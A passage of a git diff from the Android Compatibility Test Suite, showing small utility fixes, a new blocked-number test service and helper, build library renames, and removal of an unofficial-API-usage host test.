+        log4.submit(inst);
+
+        File jsonFile1 = new File(dir, REPORT_NAME_1 + ".reportlog.json");
+        File jsonFile2 = new File(dir, REPORT_NAME_2 + ".reportlog.json");
+        assertTrue("Report Log missing", jsonFile1.exists());
+        assertTrue("Report Log missing", jsonFile2.exists());
+
+        BufferedReader jsonReader = new BufferedReader(new FileReader(jsonFile1));
+        StringBuilder metricsBuilder = new StringBuilder();
+        String line;
+        while ((line = jsonReader.readLine()) != null) {
+            metricsBuilder.append(line);
+        }
+        String metrics = metricsBuilder.toString().trim();
+        JSONObject jsonObject = new JSONObject(metrics);
+        assertTrue("Incorrect metrics",
+                jsonObject.getJSONObject(STREAM_NAME_1).getDouble(TEST_MESSAGE_1) == TEST_VALUE_1);
+        assertTrue("Incorrect metrics",
+                jsonObject.getJSONObject(STREAM_NAME_2).getDouble(TEST_MESSAGE_2) == TEST_VALUE_2);
+
+        jsonReader = new BufferedReader(new FileReader(jsonFile2));
+        metricsBuilder = new StringBuilder();
+        while ((line = jsonReader.readLine()) != null) {
+            metricsBuilder.append(line);
+        }
+        metrics = metricsBuilder.toString().trim();
+        jsonObject = new JSONObject(metrics);
+        assertTrue("Incorrect metrics",
+                jsonObject.getJSONObject(STREAM_NAME_3).getDouble(TEST_MESSAGE_3) == TEST_VALUE_3);
+        assertTrue("Incorrect metrics",
+                jsonObject.getJSONObject(STREAM_NAME_4).getDouble(TEST_MESSAGE_4) == TEST_VALUE_4);
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
index a49e949..943ebc7 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
@@ -46,7 +46,7 @@
     }
 
     public static boolean isAtLeast(String version) {
-        return Build.VERSION.SDK_INT > resolveVersionString(version);
+        return Build.VERSION.SDK_INT >= resolveVersionString(version);
     }
 
     public static boolean isAtMost(int version) {
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/AppStandbyUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/AppStandbyUtils.java
index a1adc02..eb94b60 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/AppStandbyUtils.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/AppStandbyUtils.java
@@ -59,7 +59,8 @@
     public static boolean isAppStandbyEnabledAtRuntime() {
         final String result =
                 SystemUtil.runShellCommand("settings get global app_standby_enabled").trim();
-        final boolean boolResult = result.equals("1");
+        // framework considers null value as enabled.
+        final boolean boolResult = result.equals("1") || result.equals("null");
         Log.d(TAG, "AppStandby is " + (boolResult ? "enabled" : "disabled") + " at runtime.");
         return boolResult;
     }
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BatteryUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/BatteryUtils.java
index 792db40..ba357a16 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/BatteryUtils.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BatteryUtils.java
@@ -18,12 +18,15 @@
 import static com.android.compatibility.common.util.SettingsUtils.putGlobalSetting;
 import static com.android.compatibility.common.util.TestUtils.waitUntil;
 
+import android.content.pm.PackageManager;
 import android.os.BatteryManager;
 import android.os.PowerManager;
 import android.provider.Settings.Global;
 import android.support.test.InstrumentationRegistry;
 import android.util.Log;
 
+import org.junit.Assume;
+
 public class BatteryUtils {
     private static final String TAG = "CtsBatteryUtils";
 
@@ -103,4 +106,15 @@
         AmUtils.waitForBroadcastIdle();
         Log.d(TAG, "Screen turned " + (on ? "ON" : "OFF"));
     }
+
+    /** @return true if the device supports battery saver. */
+    public static boolean isBatterySaverSupported() {
+        final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+        return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
+    }
+
+    /** "Assume" the current device supports battery saver. */
+    public static void assumeBatterySaverFeature() {
+        Assume.assumeTrue("Device doesn't support battery saver", isBatterySaverSupported());
+    }
 }
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BlockedNumberService.java b/common/device-side/util/src/com/android/compatibility/common/util/BlockedNumberService.java
new file mode 100644
index 0000000..360c078
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BlockedNumberService.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static android.provider.BlockedNumberContract.BlockedNumbers.COLUMN_ORIGINAL_NUMBER;
+import static android.provider.BlockedNumberContract.BlockedNumbers.CONTENT_URI;
+
+import android.app.IntentService;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.ResultReceiver;
+import android.util.Log;
+
+/**
+ * A service to handle interactions with the BlockedNumberProvider. The BlockedNumberProvider
+ * can only be accessed by the primary user. This service can be run as a singleton service
+ * which will then be able to access the BlockedNumberProvider from a test running in a
+ * secondary user.
+ */
+public class BlockedNumberService extends IntentService {
+
+    static final String INSERT_ACTION = "android.telecom.cts.InsertBlockedNumber";
+    static final String DELETE_ACTION = "android.telecom.cts.DeleteBlockedNumber";
+    static final String PHONE_NUMBER_EXTRA = "number";
+    static final String URI_EXTRA = "uri";
+    static final String ROWS_EXTRA = "rows";
+    static final String RESULT_RECEIVER_EXTRA = "resultReceiver";
+
+    private static final String TAG = "CtsBlockNumberSvc";
+
+    private ContentResolver mContentResolver;
+
+    public BlockedNumberService() {
+        super(BlockedNumberService.class.getName());
+    }
+
+    @Override
+    public void onHandleIntent(Intent intent) {
+        Log.i(TAG, "Starting BlockedNumberService service: " + intent);
+        if (intent == null) {
+            return;
+        }
+        Bundle bundle;
+        mContentResolver = getContentResolver();
+        switch (intent.getAction()) {
+            case INSERT_ACTION:
+                bundle = insertBlockedNumber(intent.getStringExtra(PHONE_NUMBER_EXTRA));
+                break;
+            case DELETE_ACTION:
+                bundle = deleteBlockedNumber(Uri.parse(intent.getStringExtra(URI_EXTRA)));
+                break;
+            default:
+                bundle = new Bundle();
+                break;
+        }
+        ResultReceiver receiver = intent.getParcelableExtra(RESULT_RECEIVER_EXTRA);
+        receiver.send(0, bundle);
+    }
+
+    private Bundle insertBlockedNumber(String number) {
+        Log.i(TAG, "insertBlockedNumber: " + number);
+
+        ContentValues cv = new ContentValues();
+        cv.put(COLUMN_ORIGINAL_NUMBER, number);
+        Uri uri = mContentResolver.insert(CONTENT_URI, cv);
+        Bundle bundle = new Bundle();
+        bundle.putString(URI_EXTRA, uri.toString());
+        return bundle;
+    }
+
+    private Bundle deleteBlockedNumber(Uri uri) {
+        Log.i(TAG, "deleteBlockedNumber: " + uri);
+
+        int rows = mContentResolver.delete(uri, null, null);
+        Bundle bundle = new Bundle();
+        bundle.putInt(ROWS_EXTRA, rows);
+        return bundle;
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BlockedNumberUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/BlockedNumberUtil.java
new file mode 100644
index 0000000..e5a0ce4
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BlockedNumberUtil.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static com.android.compatibility.common.util.BlockedNumberService.DELETE_ACTION;
+import static com.android.compatibility.common.util.BlockedNumberService.INSERT_ACTION;
+import static com.android.compatibility.common.util.BlockedNumberService.PHONE_NUMBER_EXTRA;
+import static com.android.compatibility.common.util.BlockedNumberService.RESULT_RECEIVER_EXTRA;
+import static com.android.compatibility.common.util.BlockedNumberService.ROWS_EXTRA;
+import static com.android.compatibility.common.util.BlockedNumberService.URI_EXTRA;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.ResultReceiver;
+
+import junit.framework.TestCase;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Utility for starting the blocked number service.
+ */
+public class BlockedNumberUtil {
+
+    private static final int TIMEOUT = 2;
+
+    private BlockedNumberUtil() {}
+
+    /** Insert a phone number into the blocked number provider and returns the resulting Uri. */
+    public static Uri insertBlockedNumber(Context context, String phoneNumber) {
+        Intent intent = new Intent(INSERT_ACTION);
+        intent.putExtra(PHONE_NUMBER_EXTRA, phoneNumber);
+
+        return Uri.parse(runBlockedNumberService(context, intent).getString(URI_EXTRA));
+    }
+
+    /** Remove a number from the blocked number provider and returns the number of rows deleted. */
+    public static int deleteBlockedNumber(Context context, Uri uri) {
+        Intent intent = new Intent(DELETE_ACTION);
+        intent.putExtra(URI_EXTRA, uri.toString());
+
+        return runBlockedNumberService(context, intent).getInt(ROWS_EXTRA);
+    }
+
+    /** Start the blocked number service. */
+    static Bundle runBlockedNumberService(Context context, Intent intent) {
+        // Temporarily allow background service
+        SystemUtil.runShellCommand("cmd deviceidle tempwhitelist " + context.getPackageName());
+
+        final Semaphore semaphore = new Semaphore(0);
+        final Bundle result = new Bundle();
+
+        ResultReceiver receiver = new ResultReceiver(new Handler(Looper.getMainLooper())) {
+            @Override
+            protected void onReceiveResult(int resultCode, Bundle resultData) {
+                result.putAll(resultData);
+                semaphore.release();
+            }
+        };
+        intent.putExtra(RESULT_RECEIVER_EXTRA, receiver);
+        intent.setComponent(new ComponentName(context, BlockedNumberService.class));
+
+        context.startService(intent);
+
+        try {
+            TestCase.assertTrue(semaphore.tryAcquire(TIMEOUT, TimeUnit.SECONDS));
+        } catch (InterruptedException e) {
+            TestCase.fail("Timed out waiting for result from BlockedNumberService");
+        }
+        return result;
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
index 130bf69..7d7aaf0 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
@@ -17,6 +17,7 @@
 package com.android.compatibility.common.util;
 
 import android.content.Context;
+import android.text.TextUtils;
 import android.util.Log;
 
 import java.lang.reflect.Method;
@@ -56,6 +57,22 @@
      * {@inheritDoc}
      */
     @Override
+    public void logDebug(String format, Object... args) {
+        Log.d(LOG_TAG, String.format(format, args));
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    protected String formatExecutionString(String method, String... args) {
+        return String.format("%s(%s)", method, TextUtils.join(", ", args));
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
     protected ResolvedMethod getResolvedMethod(Class cls, String methodName, String... args)
             throws ClassNotFoundException {
         List<Method> nameMatches = getMethodsWithName(cls, methodName);
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/PackageUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/PackageUtil.java
index a153a4b..e7b6976 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/PackageUtil.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/PackageUtil.java
@@ -114,4 +114,21 @@
     private static PackageManager getPackageManager() {
         return InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
     }
+
+    private static boolean hasDeviceFeature(final String requiredFeature) {
+        return InstrumentationRegistry.getContext()
+                .getPackageManager()
+                .hasSystemFeature(requiredFeature);
+    }
+
+    /**
+     * Rotation support is indicated by explicitly having both landscape and portrait
+     * features or not listing either at all.
+     */
+    public static boolean supportsRotation() {
+        final boolean supportsLandscape = hasDeviceFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE);
+        final boolean supportsPortrait = hasDeviceFeature(PackageManager.FEATURE_SCREEN_PORTRAIT);
+        return (supportsLandscape && supportsPortrait)
+                || (!supportsLandscape && !supportsPortrait);
+    }
 }
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
index 08fe441..b98acee 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -16,8 +16,6 @@
 
 package com.android.compatibility.common.util;
 
-import com.android.compatibility.common.util.SystemUtil;
-
 import android.os.Build;
 import android.support.test.InstrumentationRegistry;
 
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/WidgetTestUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/WidgetTestUtils.java
index 3d98c56..a80d8bb 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/WidgetTestUtils.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/WidgetTestUtils.java
@@ -39,7 +39,8 @@
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
-import static android.view.ViewTreeObserver.*;
+import static android.view.ViewTreeObserver.OnDrawListener;
+import static android.view.ViewTreeObserver.OnGlobalLayoutListener;
 import static org.mockito.hamcrest.MockitoHamcrest.argThat;
 
 /**
diff --git a/hostsidetests/abioverride/app/Android.mk b/hostsidetests/abioverride/app/Android.mk
index 9dd8d1f..d6016dd 100755
--- a/hostsidetests/abioverride/app/Android.mk
+++ b/hostsidetests/abioverride/app/Android.mk
@@ -28,8 +28,8 @@
 LOCAL_MULTILIB := both
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
 
 
 LOCAL_JNI_SHARED_LIBRARIES := libctsabioverride
diff --git a/hostsidetests/api/Android.mk b/hostsidetests/api/Android.mk
deleted file mode 100644
index ec9a337..0000000
--- a/hostsidetests/api/Android.mk
+++ /dev/null
@@ -1,48 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsUnofficialApisUsageTestCases
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SDK_VERSION := current
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-LOCAL_STATIC_JAVA_LIBRARIES := dexlib2 doclava jsilver guavalib antlr-runtime host-jdk-tools-prebuilt \
-    compatibility-host-util
-
-# These are list of api txt files that are considered as approved APIs
-LOCAL_JAVA_RESOURCE_FILES := $(addprefix frameworks/base/,\
-api/current.txt \
-api/system-current.txt \
-test-base/api/android-test-base-current.txt \
-test-runner/api/android-test-runner-current.txt \
-test-mock/api/android-test-mock-current.txt)
-
-# API 27 is added since some support libraries are using old APIs
-LOCAL_JAVA_RESOURCE_FILES += prebuilts/sdk/api/27.txt
-
-# org.apache.http.legacy is considered as approved APIs
-LOCAL_JAVA_RESOURCE_FILES += external/apache-http/api/apache-http-legacy-current.txt
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE_TAGS := optional
-LOCAL_PREBUILT_STATIC_JAVA_LIBRARIES := host-jdk-tools-prebuilt:../../../$(HOST_JDK_TOOLS_JAR)
-include $(BUILD_HOST_PREBUILT)
diff --git a/hostsidetests/api/AndroidTest.xml b/hostsidetests/api/AndroidTest.xml
deleted file mode 100644
index df163b0..0000000
--- a/hostsidetests/api/AndroidTest.xml
+++ /dev/null
@@ -1,23 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS unofficial APIs usage test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="systems" />
-    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
-      <option name="jar" value="CtsUnofficialApisUsageTestCases.jar" />
-      <option name="runtime-hint" value="30s" />
-    </test>
-</configuration>
diff --git a/hostsidetests/api/src/com/android/cts/api/ApprovedApis.java b/hostsidetests/api/src/com/android/cts/api/ApprovedApis.java
deleted file mode 100644
index c68fe91..0000000
--- a/hostsidetests/api/src/com/android/cts/api/ApprovedApis.java
+++ /dev/null
@@ -1,225 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.api;
-
-import java.io.File;
-import java.io.IOException;
-import java.io.InputStream;
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.StringJoiner;
-import java.util.function.Function;
-import java.util.stream.Collectors;
-import java.util.stream.Stream;
-
-import com.google.doclava.ClassInfo;
-import com.google.doclava.FieldInfo;
-import com.google.doclava.MethodInfo;
-import com.google.doclava.ParameterInfo;
-import com.google.doclava.TypeInfo;
-import com.google.doclava.apicheck.ApiFile;
-import com.google.doclava.apicheck.ApiInfo;
-import com.google.doclava.apicheck.ApiParseException;
-
-/**
- * Parses API text files (e.g. current.txt) into classes, methods, and fields.
- */
-public class ApprovedApis {
-    private final Map<String, DefinedClass> definedApiClasses = new HashMap<>();
-    private final Map<String, DefinedMethod> definedApiMethods = new HashMap<>();
-    private final Map<String, DefinedField> definedApiFields = new HashMap<>();
-
-    public ApprovedApis(Stream<File> apiFiles) {
-        apiFiles.forEach(file -> parse(file));
-
-        // build the maps for methods and fields
-        definedApiMethods.putAll(definedApiClasses.values().stream()
-                .flatMap(c -> c.getMethods().stream()) // all methods from all classes
-                .collect(Collectors.toMap(DefinedMethod::getFullSignature,
-                        Function.identity()))); // map by their full signatures
-
-        definedApiFields.putAll(definedApiClasses.values().stream()
-                .flatMap(c -> c.getFields().stream()) // all fields from all classes
-                .collect(Collectors.toMap(DefinedField::getFullSignature,
-                        Function.identity()))); // map by their full signatures
-
-        if (UnofficialApisUsageTest.DEBUG) {
-            System.err.println("-------------------API------------------");
-
-            definedApiClasses.values().stream().sorted()
-                    .forEach(def -> System.err.println(" Defined class: " + def.getName()));
-
-            definedApiMethods.values().stream().sorted()
-                    .forEach(def -> System.err
-                            .println(" Defined method: " + def.getFullSignature()));
-
-            definedApiFields.values().stream().sorted()
-                    .forEach(def -> System.err
-                            .println(" Defined field: " + def.getFullSignature()));
-        }
-    }
-
-    public Map<String, DefinedClass> getDefinedClasses() {
-        return definedApiClasses;
-    }
-
-    public Map<String, DefinedMethod> getDefinedMethods() {
-        return definedApiMethods;
-    }
-
-    public Map<String, DefinedField> getDefinedFields() {
-        return definedApiFields;
-    }
-
-    private void parse(File apiFile) {
-        try {
-            InputStream is = null;
-            try {
-                is = this.getClass().getResourceAsStream(apiFile.toString());
-                ApiInfo apiInfo = ApiFile.parseApi(apiFile.toString(), is);
-                apiInfo.getPackages().values().stream()
-                        .flatMap(packageInfo -> packageInfo.allClasses().values().stream())
-                        .forEach(classInfo -> {
-                            DefinedClass c = definedApiClasses.get(classInfo.qualifiedName());
-                            if (c != null) {
-                                // if the same class has already been defined by other api file,
-                                // then update it
-                                DefinedClass newClass = definedClassFrom(classInfo);
-                                c.addNewMembers(newClass.getMethods(), newClass.getFields());
-                            } else {
-                                c = definedClassFrom(classInfo);
-                                definedApiClasses.put(c.getName(), c);
-                            }
-                        });
-
-            } finally {
-                if (is != null) {
-                    is.close();
-                }
-            }
-        } catch (ApiParseException | IOException e) {
-            throw new RuntimeException("Failed to parse " + apiFile, e);
-        }
-    }
-
-    private static DefinedClass definedClassFrom(ClassInfo def) {
-        String name = def.qualifiedName();
-        String superClassName = def.superclassName();
-        Collection<String> interfaces = def.interfaces().stream().map(ClassInfo::qualifiedName)
-                .collect(Collectors.toList());
-
-        Collection<DefinedMethod> methods = new ArrayList<>(
-                def.allConstructors().size() + def.selfMethods().size());
-        Collection<DefinedField> fields = new ArrayList<>(
-                def.enumConstants().size() + def.selfFields().size());
-
-        methods = Stream.concat(
-                def.allConstructors().stream().map(ApprovedApis::definedMethodFromConstructor),
-                def.selfMethods().stream().map(ApprovedApis::definedMethodFromMethod))
-                .collect(Collectors.toSet());
-
-        fields = Stream.concat(def.enumConstants().stream(), def.selfFields().stream())
-                .map(ApprovedApis::definedFieldFrom).collect(Collectors.toSet());
-
-        return new DefinedClass(name, superClassName, interfaces, methods, fields);
-    }
-
-    private static DefinedMethod definedMethodFromConstructor(MethodInfo def) {
-        return definedMethodFrom(def, true);
-    }
-
-    private static DefinedMethod definedMethodFromMethod(MethodInfo def) {
-        return definedMethodFrom(def, false);
-    }
-
-    private static DefinedMethod definedMethodFrom(MethodInfo def, boolean isCtor) {
-        StringBuffer sb = new StringBuffer();
-        if (isCtor) {
-            sb.append("<init>");
-        } else {
-            sb.append(def.name());
-        }
-        sb.append('(');
-        StringJoiner joiner = new StringJoiner(",");
-        for (int i = 0; i < def.parameters().size(); i++) {
-            ParameterInfo param = def.parameters().get(i);
-            TypeInfo type = param.type();
-            TypeInfo typeParameterType = def.getTypeParameter(type.qualifiedTypeName());
-            String typeName;
-            if (typeParameterType != null) {
-                List<TypeInfo> bounds = typeParameterType.extendsBounds();
-                if (bounds == null || bounds.size() == 0) {
-                    typeName = "java.lang.Object" + type.dimension();
-                } else {
-                    typeName = bounds.get(0).qualifiedTypeName() + type.dimension();
-                }
-            } else {
-                typeName = type.qualifiedTypeName() + type.dimension();
-            }
-            if (i == def.parameters().size() - 1 && def.isVarArgs()) {
-                typeName += "[]";
-            }
-            joiner.add(typeName);
-        }
-        sb.append(joiner.toString());
-        sb.append(')');
-        if (!isCtor) {
-            TypeInfo type = def.returnType();
-            TypeInfo typeParameterType = def.getTypeParameter(type.qualifiedTypeName());
-            if (typeParameterType != null) {
-                List<TypeInfo> bounds = typeParameterType.extendsBounds();
-                if (bounds == null || bounds.size() != 1) {
-                    sb.append("java.lang.Object" + type.dimension());
-                } else {
-                    sb.append(bounds.get(0).qualifiedTypeName() + type.dimension());
-                }
-            } else {
-                sb.append(type.qualifiedTypeName() + type.dimension());
-            }
-        }
-
-        String signature = sb.toString();
-        String containingClass = def.containingClass().qualifiedName();
-        return new DefinedMethod(signature, containingClass);
-    }
-
-    private static DefinedField definedFieldFrom(FieldInfo def) {
-        StringBuffer sb = new StringBuffer(def.name());
-        sb.append(":");
-
-        TypeInfo type = def.type();
-        TypeInfo typeParameterType = def.containingClass()
-                .getTypeParameter(type.qualifiedTypeName());
-        if (typeParameterType != null) {
-            List<TypeInfo> bounds = typeParameterType.extendsBounds();
-            if (bounds == null || bounds.size() != 1) {
-                sb.append("java.lang.Object" + type.dimension());
-            } else {
-                sb.append(bounds.get(0).qualifiedTypeName() + type.dimension());
-            }
-        } else {
-            sb.append(type.qualifiedTypeName() + type.dimension());
-        }
-
-        String signature = sb.toString();
-        String containingClass = def.containingClass().qualifiedName();
-        return new DefinedField(signature, containingClass);
-    }
-}
diff --git a/hostsidetests/api/src/com/android/cts/api/DefinedClass.java b/hostsidetests/api/src/com/android/cts/api/DefinedClass.java
deleted file mode 100644
index e4adc71..0000000
--- a/hostsidetests/api/src/com/android/cts/api/DefinedClass.java
+++ /dev/null
@@ -1,111 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.api;
-
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.HashSet;
-import java.util.stream.Collectors;
-
-/**
- * A class defined in a DEX or in an API file
- */
-public final class DefinedClass implements Comparable<DefinedClass> {
-    private final String name;
-    private final String superClassName;
-    private final Collection<String> interfaceNames;
-    private final Collection<DefinedMethod> methods;
-    private final Collection<DefinedField> fields;
-    private final Collection<String> methodSignatures;
-    private final Collection<String> fieldSignatures;
-
-    DefinedClass(String name, String superClassName, Collection<String> interfaceNames,
-            Collection<DefinedMethod> methods, Collection<DefinedField> fields) {
-        this.name = name;
-        this.superClassName = superClassName;
-        this.interfaceNames = interfaceNames;
-        // these are Set instead of List to eliminate duplication from multiple api files
-        this.methods = new HashSet<>();
-        this.fields = new HashSet<>();
-
-        // signatures is okay to be list because they are always re-generated
-        // in addMembersFrom
-        this.methodSignatures = new ArrayList<>();
-        this.fieldSignatures = new ArrayList<>();
-
-        addNewMembers(methods, fields);
-    }
-
-    void addNewMembers(Collection<DefinedMethod> newMethods, Collection<DefinedField> newFields) {
-        methods.addAll(newMethods);
-        fields.addAll(newFields);
-
-        // re-generate the signatures list
-        methodSignatures.clear();
-        methodSignatures.addAll(methods.stream()
-                .map(DefinedMethod::getSignature)
-                .collect(Collectors.toList()));
-
-        fieldSignatures.clear();
-        fieldSignatures.addAll(fields.stream()
-                .map(DefinedField::getSignature)
-                .collect(Collectors.toList()));
-    }
-
-    /**
-     * Returns canonical name of a class
-     */
-    public String getName() {
-        return name;
-    }
-
-    String getSuperClass() {
-        return superClassName;
-    }
-
-    Collection<String> getInterfaces() {
-        return interfaceNames;
-    }
-
-    Collection<DefinedMethod> getMethods() {
-        return methods;
-    }
-
-    Collection<DefinedField> getFields() {
-        return fields;
-    }
-
-    Collection<String> getMethodSignatures() {
-        return methodSignatures;
-    }
-
-    Collection<String> getFieldSignatures() {
-        return fieldSignatures;
-    }
-
-    boolean isEnum() {
-        return getSuperClass().equals("java.lang.Enum");
-    }
-
-    @Override
-    public int compareTo(DefinedClass o) {
-        if (o != null) {
-            return getName().compareTo(o.getName());
-        }
-        return 0;
-    }
-}
diff --git a/hostsidetests/api/src/com/android/cts/api/DefinedField.java b/hostsidetests/api/src/com/android/cts/api/DefinedField.java
deleted file mode 100644
index 0fe1796..0000000
--- a/hostsidetests/api/src/com/android/cts/api/DefinedField.java
+++ /dev/null
@@ -1,73 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.api;
-
-/**
- * A field or enum constant defined in a DEX or in an API file
- */
-public final class DefinedField implements Comparable<DefinedField> {
-    private final String signature;
-    private final String definingClass;
-
-    DefinedField(String signature, String definingClass) {
-        this.signature = signature;
-        this.definingClass = definingClass;
-    }
-
-    /**
-     * Returns name:type
-     */
-    String getSignature() {
-        return signature;
-    }
-
-    /**
-     * Returns class.name:type
-     */
-    public String getFullSignature() {
-        return getDefiningClass() + "." + getSignature();
-    }
-
-    String getDefiningClass() {
-        return definingClass;
-    }
-
-    @Override
-    public int compareTo(DefinedField o) {
-        if (o != null) {
-            return getFullSignature().compareTo(o.getFullSignature());
-        }
-        return 0;
-    }
-
-    @Override
-    public int hashCode() {
-        return getFullSignature().hashCode();
-    }
-
-    /**
-     * Fields are fully identified by their full signature. Two fields with same signature are
-     * considered to be the same.
-     */
-    @Override
-    public boolean equals(Object o) {
-        if (o != null && o instanceof DefinedField) {
-            return getFullSignature().equals(((DefinedField) o).getFullSignature());
-        }
-        return false;
-    }
-}
